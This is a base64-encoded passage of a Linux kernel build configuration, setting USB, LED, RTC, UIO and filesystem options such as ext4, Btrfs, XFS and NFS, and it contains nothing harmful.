X1VTQl9BUkNIX0hBU19IQ0Q9eQpDT05GSUdfVVNCPXkKQ09ORklHX1VTQl9BTk5PVU5DRV9O
RVdfREVWSUNFUz15CgojCiMgTWlzY2VsbGFuZW91cyBVU0Igb3B0aW9ucwojCkNPTkZJR19V
U0JfREVGQVVMVF9QRVJTSVNUPXkKQ09ORklHX1VTQl9EWU5BTUlDX01JTk9SUz15CiMgQ09O
RklHX1VTQl9PVEdfV0hJVEVMSVNUIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1VMUElfQlVT
IGlzIG5vdCBzZXQKQ09ORklHX1VTQl9NT049bQpDT05GSUdfVVNCX1dVU0JfQ0JBRj1tCiMg
Q09ORklHX1VTQl9XVVNCX0NCQUZfREVCVUcgaXMgbm90IHNldAoKIwojIFVTQiBIb3N0IENv
bnRyb2xsZXIgRHJpdmVycwojCiMgQ09ORklHX1VTQl9DNjdYMDBfSENEIGlzIG5vdCBzZXQK
Q09ORklHX1VTQl9YSENJX0hDRD1tCkNPTkZJR19VU0JfWEhDSV9QQ0k9bQojIENPTkZJR19V
U0JfWEhDSV9QTEFURk9STSBpcyBub3Qgc2V0CkNPTkZJR19VU0JfRUhDSV9IQ0Q9bQojIENP
TkZJR19VU0JfRUhDSV9ST09UX0hVQl9UVCBpcyBub3Qgc2V0CkNPTkZJR19VU0JfRUhDSV9U
VF9ORVdTQ0hFRD15CkNPTkZJR19VU0JfRUhDSV9QQ0k9bQojIENPTkZJR19VU0JfRUhDSV9I
Q0RfUExBVEZPUk0gaXMgbm90IHNldAojIENPTkZJR19VU0JfT1hVMjEwSFBfSENEIGlzIG5v
dCBzZXQKIyBDT05GSUdfVVNCX0lTUDExNlhfSENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNC
X0lTUDEzNjJfSENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0ZPVEcyMTBfSENEIGlzIG5v
dCBzZXQKQ09ORklHX1VTQl9PSENJX0hDRD1tCkNPTkZJR19VU0JfT0hDSV9IQ0RfUENJPW0K
IyBDT05GSUdfVVNCX09IQ0lfSENEX1NTQiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9PSENJ
X0hDRF9QTEFURk9STSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9VSENJX0hDRCBpcyBub3Qg
c2V0CiMgQ09ORklHX1VTQl9TTDgxMV9IQ0QgaXMgbm90IHNldApDT05GSUdfVVNCX1I4QTY2
NTk3X0hDRD1tCiMgQ09ORklHX1VTQl9IQ0RfU1NCIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNC
X0hDRF9URVNUX01PREUgaXMgbm90IHNldAoKIwojIFVTQiBEZXZpY2UgQ2xhc3MgZHJpdmVy
cwojCkNPTkZJR19VU0JfQUNNPW0KQ09ORklHX1VTQl9QUklOVEVSPW0KQ09ORklHX1VTQl9X
RE09bQpDT05GSUdfVVNCX1RNQz1tCgojCiMgTk9URTogVVNCX1NUT1JBR0UgZGVwZW5kcyBv
biBTQ1NJIGJ1dCBCTEtfREVWX1NEIG1heQojCgojCiMgYWxzbyBiZSBuZWVkZWQ7IHNlZSBV
U0JfU1RPUkFHRSBIZWxwIGZvciBtb3JlIGluZm8KIwojIENPTkZJR19VU0JfU1RPUkFHRSBp
cyBub3Qgc2V0CgojCiMgVVNCIEltYWdpbmcgZGV2aWNlcwojCiMgQ09ORklHX1VTQl9NREM4
MDAgaXMgbm90IHNldAojIENPTkZJR19VU0JfTUlDUk9URUsgaXMgbm90IHNldAojIENPTkZJ
R19VU0JJUF9DT1JFIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX01VU0JfSERSQyBpcyBub3Qg
c2V0CiMgQ09ORklHX1VTQl9EV0MzIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0RXQzIgaXMg
bm90IHNldAojIENPTkZJR19VU0JfQ0hJUElERUEgaXMgbm90IHNldAojIENPTkZJR19VU0Jf
SVNQMTc2MCBpcyBub3Qgc2V0CgojCiMgVVNCIHBvcnQgZHJpdmVycwojCiMgQ09ORklHX1VT
Ql9TRVJJQUwgaXMgbm90IHNldAoKIwojIFVTQiBNaXNjZWxsYW5lb3VzIGRyaXZlcnMKIwoj
IENPTkZJR19VU0JfRU1JNjIgaXMgbm90IHNldAojIENPTkZJR19VU0JfRU1JMjYgaXMgbm90
IHNldAojIENPTkZJR19VU0JfQURVVFVYIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFVlNF
RyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9SSU81MDAgaXMgbm90IHNldAojIENPTkZJR19V
U0JfTEVHT1RPV0VSIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0xDRCBpcyBub3Qgc2V0CiMg
Q09ORklHX1VTQl9MRUQgaXMgbm90IHNldAojIENPTkZJR19VU0JfQ1lQUkVTU19DWTdDNjMg
aXMgbm90IHNldAojIENPTkZJR19VU0JfQ1lUSEVSTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VT
Ql9JRE1PVVNFIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0ZURElfRUxBTiBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9BUFBMRURJU1BMQVkgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0lT
VVNCVkdBIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0xEIGlzIG5vdCBzZXQKIyBDT05GSUdf
VVNCX1RSQU5DRVZJQlJBVE9SIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0lPV0FSUklPUiBp
cyBub3Qgc2V0CiMgQ09ORklHX1VTQl9URVNUIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0VI
U0VUX1RFU1RfRklYVFVSRSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JU0lHSFRGVyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1VTQl9ZVVJFWCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9FWlVT
Ql9GWDIgaXMgbm90IHNldAojIENPTkZJR19VU0JfSFNJQ19VU0IzNTAzIGlzIG5vdCBzZXQK
IyBDT05GSUdfVVNCX0xJTktfTEFZRVJfVEVTVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9D
SEFPU0tFWSBpcyBub3Qgc2V0CgojCiMgVVNCIFBoeXNpY2FsIExheWVyIGRyaXZlcnMKIwoj
IENPTkZJR19VU0JfUEhZIGlzIG5vdCBzZXQKIyBDT05GSUdfTk9QX1VTQl9YQ0VJViBpcyBu
b3Qgc2V0CiMgQ09ORklHX1VTQl9JU1AxMzAxIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0dB
REdFVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MRURfVFJJRyBpcyBub3Qgc2V0CiMgQ09O
RklHX1VXQiBpcyBub3Qgc2V0CiMgQ09ORklHX01NQyBpcyBub3Qgc2V0CiMgQ09ORklHX01F
TVNUSUNLIGlzIG5vdCBzZXQKQ09ORklHX05FV19MRURTPXkKQ09ORklHX0xFRFNfQ0xBU1M9
eQojIENPTkZJR19MRURTX0NMQVNTX0ZMQVNIIGlzIG5vdCBzZXQKCiMKIyBMRUQgZHJpdmVy
cwojCiMgQ09ORklHX0xFRFNfTE0zNTMwIGlzIG5vdCBzZXQKIyBDT05GSUdfTEVEU19MTTM2
NDIgaXMgbm90IHNldAojIENPTkZJR19MRURTX1BDQTk1MzIgaXMgbm90IHNldAojIENPTkZJ
R19MRURTX0xQMzk0NCBpcyBub3Qgc2V0CiMgQ09ORklHX0xFRFNfTFA1NTIxIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTEVEU19MUDU1MjMgaXMgbm90IHNldAojIENPTkZJR19MRURTX0xQNTU2
MiBpcyBub3Qgc2V0CiMgQ09ORklHX0xFRFNfTFA4NTAxIGlzIG5vdCBzZXQKIyBDT05GSUdf
TEVEU19MUDg4NjAgaXMgbm90IHNldAojIENPTkZJR19MRURTX1BDQTk1NVggaXMgbm90IHNl
dAojIENPTkZJR19MRURTX1BDQTk2M1ggaXMgbm90IHNldAojIENPTkZJR19MRURTX1JFR1VM
QVRPUiBpcyBub3Qgc2V0CiMgQ09ORklHX0xFRFNfQkQyODAyIGlzIG5vdCBzZXQKIyBDT05G
SUdfTEVEU19UQ0E2NTA3IGlzIG5vdCBzZXQKIyBDT05GSUdfTEVEU19UTEM1OTFYWCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0xFRFNfTE0zNTV4IGlzIG5vdCBzZXQKCiMKIyBMRUQgZHJpdmVy
IGZvciBibGluaygxKSBVU0IgUkdCIExFRCBpcyB1bmRlciBTcGVjaWFsIEhJRCBkcml2ZXJz
IChISURfVEhJTkdNKQojCiMgQ09ORklHX0xFRFNfQkxJTktNIGlzIG5vdCBzZXQKCiMKIyBM
RUQgVHJpZ2dlcnMKIwpDT05GSUdfTEVEU19UUklHR0VSUz15CkNPTkZJR19MRURTX1RSSUdH
RVJfVElNRVI9eQpDT05GSUdfTEVEU19UUklHR0VSX09ORVNIT1Q9eQpDT05GSUdfTEVEU19U
UklHR0VSX0lERV9ESVNLPXkKQ09ORklHX0xFRFNfVFJJR0dFUl9IRUFSVEJFQVQ9bQpDT05G
SUdfTEVEU19UUklHR0VSX0JBQ0tMSUdIVD1tCiMgQ09ORklHX0xFRFNfVFJJR0dFUl9DUFUg
aXMgbm90IHNldApDT05GSUdfTEVEU19UUklHR0VSX0RFRkFVTFRfT049bQoKIwojIGlwdGFi
bGVzIHRyaWdnZXIgaXMgdW5kZXIgTmV0ZmlsdGVyIGNvbmZpZyAoTEVEIHRhcmdldCkKIwoj
IENPTkZJR19MRURTX1RSSUdHRVJfVFJBTlNJRU5UIGlzIG5vdCBzZXQKIyBDT05GSUdfTEVE
U19UUklHR0VSX0NBTUVSQSBpcyBub3Qgc2V0CiMgQ09ORklHX0FDQ0VTU0lCSUxJVFkgaXMg
bm90IHNldAojIENPTkZJR19JTkZJTklCQU5EIGlzIG5vdCBzZXQKQ09ORklHX1JUQ19MSUI9
eQpDT05GSUdfUlRDX0NMQVNTPXkKQ09ORklHX1JUQ19IQ1RPU1lTPXkKQ09ORklHX1JUQ19I
Q1RPU1lTX0RFVklDRT0icnRjMCIKQ09ORklHX1JUQ19TWVNUT0hDPXkKQ09ORklHX1JUQ19T
WVNUT0hDX0RFVklDRT0icnRjMCIKIyBDT05GSUdfUlRDX0RFQlVHIGlzIG5vdCBzZXQKCiMK
IyBSVEMgaW50ZXJmYWNlcwojCkNPTkZJR19SVENfSU5URl9TWVNGUz15CkNPTkZJR19SVENf
SU5URl9QUk9DPXkKQ09ORklHX1JUQ19JTlRGX0RFVj15CiMgQ09ORklHX1JUQ19JTlRGX0RF
Vl9VSUVfRU1VTCBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfVEVTVCBpcyBub3Qgc2V0
CgojCiMgSTJDIFJUQyBkcml2ZXJzCiMKIyBDT05GSUdfUlRDX0RSVl9BQkI1WkVTMyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfQUJYODBYIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRD
X0RSVl9EUzEzMDcgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0RTMTM3NCBpcyBub3Qg
c2V0CiMgQ09ORklHX1JUQ19EUlZfRFMxNjcyIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RS
Vl9NQVg2OTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9SUzVDMzcyIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUlRDX0RSVl9JU0wxMjA4IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RS
Vl9JU0wxMjAyMiBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfSVNMMTIwNTcgaXMgbm90
IHNldAojIENPTkZJR19SVENfRFJWX1gxMjA1IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RS
Vl9QQ0Y4NTIzIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9QQ0Y4NTA2MyBpcyBub3Qg
c2V0CiMgQ09ORklHX1JUQ19EUlZfUENGODU2MyBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19E
UlZfUENGODU4MyBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfTTQxVDgwIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUlRDX0RSVl9CUTMySyBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZf
UzM1MzkwQSBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfRk0zMTMwIGlzIG5vdCBzZXQK
IyBDT05GSUdfUlRDX0RSVl9SWDgwMTAgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX1JY
ODU4MSBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfUlg4MDI1IGlzIG5vdCBzZXQKIyBD
T05GSUdfUlRDX0RSVl9FTTMwMjcgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX1JWMzAy
OUMyIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9SVjg4MDMgaXMgbm90IHNldAoKIwoj
IFNQSSBSVEMgZHJpdmVycwojCkNPTkZJR19SVENfSTJDX0FORF9TUEk9eQoKIwojIFNQSSBh
bmQgSTJDIFJUQyBkcml2ZXJzCiMKIyBDT05GSUdfUlRDX0RSVl9EUzMyMzIgaXMgbm90IHNl
dAojIENPTkZJR19SVENfRFJWX1BDRjIxMjcgaXMgbm90IHNldAoKIwojIFBsYXRmb3JtIFJU
QyBkcml2ZXJzCiMKIyBDT05GSUdfUlRDX0RSVl9EUzEyODYgaXMgbm90IHNldAojIENPTkZJ
R19SVENfRFJWX0RTMTUxMSBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfRFMxNTUzIGlz
IG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9EUzE2ODVfRkFNSUxZIGlzIG5vdCBzZXQKIyBD
T05GSUdfUlRDX0RSVl9EUzE3NDIgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0RTMjQw
NCBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfU1RLMTdUQTggaXMgbm90IHNldAojIENP
TkZJR19SVENfRFJWX000OFQ4NiBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfTTQ4VDM1
IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9NNDhUNTkgaXMgbm90IHNldAojIENPTkZJ
R19SVENfRFJWX01TTTYyNDIgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0JRNDgwMiBp
cyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfUlA1QzAxIGlzIG5vdCBzZXQKIyBDT05GSUdf
UlRDX0RSVl9WMzAyMCBpcyBub3Qgc2V0CgojCiMgb24tQ1BVIFJUQyBkcml2ZXJzCiMKQ09O
RklHX1JUQ19EUlZfR0VORVJJQz15CgojCiMgSElEIFNlbnNvciBSVEMgZHJpdmVycwojCiMg
Q09ORklHX1JUQ19EUlZfSElEX1NFTlNPUl9USU1FIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1B
REVWSUNFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0FVWERJU1BMQVkgaXMgbm90IHNldApDT05G
SUdfVUlPPXkKIyBDT05GSUdfVUlPX0NJRiBpcyBub3Qgc2V0CkNPTkZJR19VSU9fUERSVl9H
RU5JUlE9bQojIENPTkZJR19VSU9fRE1FTV9HRU5JUlEgaXMgbm90IHNldApDT05GSUdfVUlP
X0FFQz1tCkNPTkZJR19VSU9fU0VSQ09TMz1tCkNPTkZJR19VSU9fUENJX0dFTkVSSUM9bQoj
IENPTkZJR19VSU9fTkVUWCBpcyBub3Qgc2V0CiMgQ09ORklHX1VJT19QUlVTUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1VJT19NRjYyNCBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJUlRfRFJJVkVS
UyBpcyBub3Qgc2V0CgojCiMgVmlydGlvIGRyaXZlcnMKIwojIENPTkZJR19WSVJUSU9fUENJ
IGlzIG5vdCBzZXQKIyBDT05GSUdfVklSVElPX01NSU8gaXMgbm90IHNldAoKIwojIE1pY3Jv
c29mdCBIeXBlci1WIGd1ZXN0IHN1cHBvcnQKIwpDT05GSUdfU1RBR0lORz15CiMgQ09ORklH
X0NPTUVESSBpcyBub3Qgc2V0CiMgQ09ORklHX1JUUzUyMDggaXMgbm90IHNldAojIENPTkZJ
R19GQl9TTTc1MCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1hHSSBpcyBub3Qgc2V0CgojCiMg
U3BlYWt1cCBjb25zb2xlIHNwZWVjaAojCiMgQ09ORklHX1NQRUFLVVAgaXMgbm90IHNldAoj
IENPTkZJR19TVEFHSU5HX01FRElBIGlzIG5vdCBzZXQKCiMKIyBBbmRyb2lkCiMKIyBDT05G
SUdfTFRFX0dETTcyNFggaXMgbm90IHNldAojIENPTkZJR19MTkVUIGlzIG5vdCBzZXQKIyBD
T05GSUdfREdOQyBpcyBub3Qgc2V0CiMgQ09ORklHX0dTX0ZQR0FCT09UIGlzIG5vdCBzZXQK
IyBDT05GSUdfTU9TVCBpcyBub3Qgc2V0CgojCiMgSGFyZHdhcmUgU3BpbmxvY2sgZHJpdmVy
cwojCgojCiMgQ2xvY2sgU291cmNlIGRyaXZlcnMKIwojIENPTkZJR19BVE1FTF9QSVQgaXMg
bm90IHNldAojIENPTkZJR19NQUlMQk9YIGlzIG5vdCBzZXQKQ09ORklHX0lPTU1VX1NVUFBP
UlQ9eQoKIwojIEdlbmVyaWMgSU9NTVUgUGFnZXRhYmxlIFN1cHBvcnQKIwoKIwojIFJlbW90
ZXByb2MgZHJpdmVycwojCiMgQ09ORklHX1NURV9NT0RFTV9SUFJPQyBpcyBub3Qgc2V0Cgoj
CiMgUnBtc2cgZHJpdmVycwojCgojCiMgU09DIChTeXN0ZW0gT24gQ2hpcCkgc3BlY2lmaWMg
RHJpdmVycwojCiMgQ09ORklHX1NVTlhJX1NSQU0gaXMgbm90IHNldAojIENPTkZJR19TT0Nf
VEkgaXMgbm90IHNldAojIENPTkZJR19QTV9ERVZGUkVRIGlzIG5vdCBzZXQKIyBDT05GSUdf
RVhUQ09OIGlzIG5vdCBzZXQKIyBDT05GSUdfTUVNT1JZIGlzIG5vdCBzZXQKIyBDT05GSUdf
SUlPIGlzIG5vdCBzZXQKIyBDT05GSUdfTlRCIGlzIG5vdCBzZXQKIyBDT05GSUdfVk1FX0JV
UyBpcyBub3Qgc2V0CiMgQ09ORklHX1BXTSBpcyBub3Qgc2V0CkNPTkZJR19BUk1fR0lDX01B
WF9OUj0xCiMgQ09ORklHX0lQQUNLX0JVUyBpcyBub3Qgc2V0CiMgQ09ORklHX1JFU0VUX0NP
TlRST0xMRVIgaXMgbm90IHNldAojIENPTkZJR19GTUMgaXMgbm90IHNldAoKIwojIFBIWSBT
dWJzeXN0ZW0KIwojIENPTkZJR19HRU5FUklDX1BIWSBpcyBub3Qgc2V0CiMgQ09ORklHX1BI
WV9QWEFfMjhOTV9IU0lDIGlzIG5vdCBzZXQKIyBDT05GSUdfUEhZX1BYQV8yOE5NX1VTQjIg
aXMgbm90IHNldAojIENPTkZJR19CQ01fS09OQV9VU0IyX1BIWSBpcyBub3Qgc2V0CiMgQ09O
RklHX1BPV0VSQ0FQIGlzIG5vdCBzZXQKIyBDT05GSUdfTUNCIGlzIG5vdCBzZXQKCiMKIyBQ
ZXJmb3JtYW5jZSBtb25pdG9yIHN1cHBvcnQKIwojIENPTkZJR19SQVMgaXMgbm90IHNldAoj
IENPTkZJR19USFVOREVSQk9MVCBpcyBub3Qgc2V0CgojCiMgQW5kcm9pZAojCiMgQ09ORklH
X0FORFJPSUQgaXMgbm90IHNldAojIENPTkZJR19MSUJOVkRJTU0gaXMgbm90IHNldAojIENP
TkZJR19OVk1FTSBpcyBub3Qgc2V0CiMgQ09ORklHX1NUTSBpcyBub3Qgc2V0CiMgQ09ORklH
X0lOVEVMX1RIIGlzIG5vdCBzZXQKCiMKIyBGUEdBIENvbmZpZ3VyYXRpb24gU3VwcG9ydAoj
CiMgQ09ORklHX0ZQR0EgaXMgbm90IHNldAoKIwojIEZpbGUgc3lzdGVtcwojCkNPTkZJR19F
WFQyX0ZTPXkKQ09ORklHX0VYVDJfRlNfWEFUVFI9eQpDT05GSUdfRVhUMl9GU19QT1NJWF9B
Q0w9eQpDT05GSUdfRVhUMl9GU19TRUNVUklUWT15CkNPTkZJR19FWFQzX0ZTPXkKQ09ORklH
X0VYVDNfRlNfUE9TSVhfQUNMPXkKQ09ORklHX0VYVDNfRlNfU0VDVVJJVFk9eQpDT05GSUdf
RVhUNF9GUz15CkNPTkZJR19FWFQ0X0ZTX1BPU0lYX0FDTD15CkNPTkZJR19FWFQ0X0ZTX1NF
Q1VSSVRZPXkKIyBDT05GSUdfRVhUNF9FTkNSWVBUSU9OIGlzIG5vdCBzZXQKIyBDT05GSUdf
RVhUNF9ERUJVRyBpcyBub3Qgc2V0CkNPTkZJR19KQkQyPXkKIyBDT05GSUdfSkJEMl9ERUJV
RyBpcyBub3Qgc2V0CkNPTkZJR19GU19NQkNBQ0hFPXkKIyBDT05GSUdfUkVJU0VSRlNfRlMg
aXMgbm90IHNldAojIENPTkZJR19KRlNfRlMgaXMgbm90IHNldApDT05GSUdfWEZTX0ZTPW0K
IyBDT05GSUdfWEZTX1FVT1RBIGlzIG5vdCBzZXQKIyBDT05GSUdfWEZTX1BPU0lYX0FDTCBp
cyBub3Qgc2V0CiMgQ09ORklHX1hGU19SVCBpcyBub3Qgc2V0CiMgQ09ORklHX1hGU19XQVJO
IGlzIG5vdCBzZXQKIyBDT05GSUdfWEZTX0RFQlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfR0ZT
Ml9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX09DRlMyX0ZTIGlzIG5vdCBzZXQKQ09ORklHX0JU
UkZTX0ZTPW0KIyBDT05GSUdfQlRSRlNfRlNfUE9TSVhfQUNMIGlzIG5vdCBzZXQKIyBDT05G
SUdfQlRSRlNfRlNfQ0hFQ0tfSU5URUdSSVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfQlRSRlNf
RlNfUlVOX1NBTklUWV9URVNUUyBpcyBub3Qgc2V0CiMgQ09ORklHX0JUUkZTX0RFQlVHIGlz
IG5vdCBzZXQKIyBDT05GSUdfQlRSRlNfQVNTRVJUIGlzIG5vdCBzZXQKIyBDT05GSUdfTklM
RlMyX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfRjJGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZTX0RBWCBpcyBub3Qgc2V0CkNPTkZJR19GU19QT1NJWF9BQ0w9eQpDT05GSUdfRVhQT1JU
RlM9eQpDT05GSUdfRklMRV9MT0NLSU5HPXkKQ09ORklHX01BTkRBVE9SWV9GSUxFX0xPQ0tJ
Tkc9eQojIENPTkZJR19GU19FTkNSWVBUSU9OIGlzIG5vdCBzZXQKQ09ORklHX0ZTTk9USUZZ
PXkKQ09ORklHX0ROT1RJRlk9eQpDT05GSUdfSU5PVElGWV9VU0VSPXkKIyBDT05GSUdfRkFO
T1RJRlkgaXMgbm90IHNldApDT05GSUdfUVVPVEE9eQpDT05GSUdfUVVPVEFfTkVUTElOS19J
TlRFUkZBQ0U9eQpDT05GSUdfUFJJTlRfUVVPVEFfV0FSTklORz15CiMgQ09ORklHX1FVT1RB
X0RFQlVHIGlzIG5vdCBzZXQKQ09ORklHX1FVT1RBX1RSRUU9eQojIENPTkZJR19RRk1UX1Yx
IGlzIG5vdCBzZXQKQ09ORklHX1FGTVRfVjI9eQpDT05GSUdfUVVPVEFDVEw9eQpDT05GSUdf
QVVUT0ZTNF9GUz15CkNPTkZJR19GVVNFX0ZTPXkKQ09ORklHX0NVU0U9eQojIENPTkZJR19P
VkVSTEFZX0ZTIGlzIG5vdCBzZXQKCiMKIyBDYWNoZXMKIwojIENPTkZJR19GU0NBQ0hFIGlz
IG5vdCBzZXQKCiMKIyBDRC1ST00vRFZEIEZpbGVzeXN0ZW1zCiMKQ09ORklHX0lTTzk2NjBf
RlM9eQojIENPTkZJR19KT0xJRVQgaXMgbm90IHNldAojIENPTkZJR19aSVNPRlMgaXMgbm90
IHNldApDT05GSUdfVURGX0ZTPXkKQ09ORklHX1VERl9OTFM9eQoKIwojIERPUy9GQVQvTlQg
RmlsZXN5c3RlbXMKIwpDT05GSUdfRkFUX0ZTPW0KIyBDT05GSUdfTVNET1NfRlMgaXMgbm90
IHNldApDT05GSUdfVkZBVF9GUz1tCkNPTkZJR19GQVRfREVGQVVMVF9DT0RFUEFHRT00MzcK
Q09ORklHX0ZBVF9ERUZBVUxUX0lPQ0hBUlNFVD0iaXNvODg1OS0xIgojIENPTkZJR19GQVRf
REVGQVVMVF9VVEY4IGlzIG5vdCBzZXQKIyBDT05GSUdfTlRGU19GUyBpcyBub3Qgc2V0Cgoj
CiMgUHNldWRvIGZpbGVzeXN0ZW1zCiMKQ09ORklHX1BST0NfRlM9eQpDT05GSUdfUFJPQ19L
Q09SRT15CkNPTkZJR19QUk9DX1NZU0NUTD15CkNPTkZJR19QUk9DX1BBR0VfTU9OSVRPUj15
CiMgQ09ORklHX1BST0NfQ0hJTERSRU4gaXMgbm90IHNldApDT05GSUdfS0VSTkZTPXkKQ09O
RklHX1NZU0ZTPXkKQ09ORklHX1RNUEZTPXkKQ09ORklHX1RNUEZTX1BPU0lYX0FDTD15CkNP
TkZJR19UTVBGU19YQVRUUj15CkNPTkZJR19IVUdFVExCRlM9eQpDT05GSUdfSFVHRVRMQl9Q
QUdFPXkKQ09ORklHX0NPTkZJR0ZTX0ZTPXkKQ09ORklHX01JU0NfRklMRVNZU1RFTVM9eQoj
IENPTkZJR19PUkFOR0VGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0FERlNfRlMgaXMgbm90
IHNldAojIENPTkZJR19BRkZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfRUNSWVBUX0ZTIGlz
IG5vdCBzZXQKIyBDT05GSUdfSEZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfSEZTUExVU19G
UyBpcyBub3Qgc2V0CiMgQ09ORklHX0JFRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19CRlNf
RlMgaXMgbm90IHNldAojIENPTkZJR19FRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19MT0dG
UyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSQU1GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NRVUFT
SEZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVlhGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX01J
TklYX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfT01GU19GUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0hQRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19RTlg0RlNfRlMgaXMgbm90IHNldAojIENP
TkZJR19RTlg2RlNfRlMgaXMgbm90IHNldAojIENPTkZJR19ST01GU19GUyBpcyBub3Qgc2V0
CiMgQ09ORklHX1BTVE9SRSBpcyBub3Qgc2V0CkNPTkZJR19TWVNWX0ZTPXkKIyBDT05GSUdf
VUZTX0ZTIGlzIG5vdCBzZXQKQ09ORklHX05FVFdPUktfRklMRVNZU1RFTVM9eQpDT05GSUdf
TkZTX0ZTPW0KQ09ORklHX05GU19WMj1tCkNPTkZJR19ORlNfVjM9bQojIENPTkZJR19ORlNf
VjNfQUNMIGlzIG5vdCBzZXQKQ09ORklHX05GU19WND1tCiMgQ09ORklHX05GU19TV0FQIGlz
IG5vdCBzZXQKQ09ORklHX05GU19WNF8xPXkKIyBDT05GSUdfTkZTX1Y0XzIgaXMgbm90IHNl
dApDT05GSUdfUE5GU19GSUxFX0xBWU9VVD1tCkNPTkZJR19QTkZTX0JMT0NLPW0KQ09ORklH
X1BORlNfRkxFWEZJTEVfTEFZT1VUPW0KQ09ORklHX05GU19WNF8xX0lNUExFTUVOVEFUSU9O
X0lEX0RPTUFJTj0ia2VybmVsLm9yZyIKIyBDT05GSUdfTkZTX1Y0XzFfTUlHUkFUSU9OIGlz
IG5vdCBzZXQKIyBDT05GSUdfTkZTX1VTRV9MRUdBQ1lfRE5TIGlzIG5vdCBzZXQKQ09ORklH
X05GU19VU0VfS0VSTkVMX0ROUz15CkNPTkZJR19ORlNEPW0KQ09ORklHX05GU0RfVjM9eQoj
IENPTkZJR19ORlNEX1YzX0FDTCBpcyBub3Qgc2V0CkNPTkZJR19ORlNEX1Y0PXkKIyBDT05G
SUdfTkZTRF9CTE9DS0xBWU9VVCBpcyBub3Qgc2V0CiMgQ09ORklHX05GU0RfU0NTSUxBWU9V
VCBpcyBub3Qgc2V0CiMgQ09ORklHX05GU0RfRkFVTFRfSU5KRUNUSU9OIGlzIG5vdCBzZXQK
Q09ORklHX0dSQUNFX1BFUklPRD1tCkNPTkZJR19MT0NLRD1tCkNPTkZJR19MT0NLRF9WND15
CkNPTkZJR19ORlNfQ09NTU9OPXkKQ09ORklHX1NVTlJQQz1tCkNPTkZJR19TVU5SUENfR1NT
PW0KQ09ORklHX1NVTlJQQ19CQUNLQ0hBTk5FTD15CkNPTkZJR19SUENTRUNfR1NTX0tSQjU9
bQojIENPTkZJR19TVU5SUENfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19DRVBIX0ZTIGlz
